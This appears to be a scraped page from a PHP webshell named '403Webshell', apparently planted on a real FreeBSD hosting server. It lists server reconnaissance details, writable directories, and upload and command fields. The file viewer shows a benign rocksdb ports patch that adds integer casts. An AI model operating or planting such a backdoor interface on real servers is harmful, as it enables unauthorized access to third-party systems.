403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/databases/rocksdb/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/databases/rocksdb/files/patch-port-stack_trace.cc
--- port/stack_trace.cc.orig	2021-06-25 21:15:04 UTC
+++ port/stack_trace.cc
@@ -135,7 +135,7 @@ void PrintStack(int first_frames_to_skip) {
   void* frames[kMaxFrames];
 
   auto num_frames = backtrace(frames, kMaxFrames);
-  PrintStack(&frames[first_frames_to_skip], num_frames - first_frames_to_skip);
+  PrintStack(&frames[first_frames_to_skip], (int) (num_frames - first_frames_to_skip));
 }
 
 void PrintAndFreeStack(void* callstack, int num_frames) {
@@ -148,7 +148,7 @@ void* SaveStack(int* num_frames, int first_frames_to_s
   void* frames[kMaxFrames];
 
   auto count = backtrace(frames, kMaxFrames);
-  *num_frames = count - first_frames_to_skip;
+  *num_frames = (int) (count - first_frames_to_skip);
   void* callstack = malloc(sizeof(void*) * *num_frames);
   memcpy(callstack, &frames[first_frames_to_skip], sizeof(void*) * *num_frames);
   return callstack;

Youez - 2016 - github.com/yon3zu
LinuXploit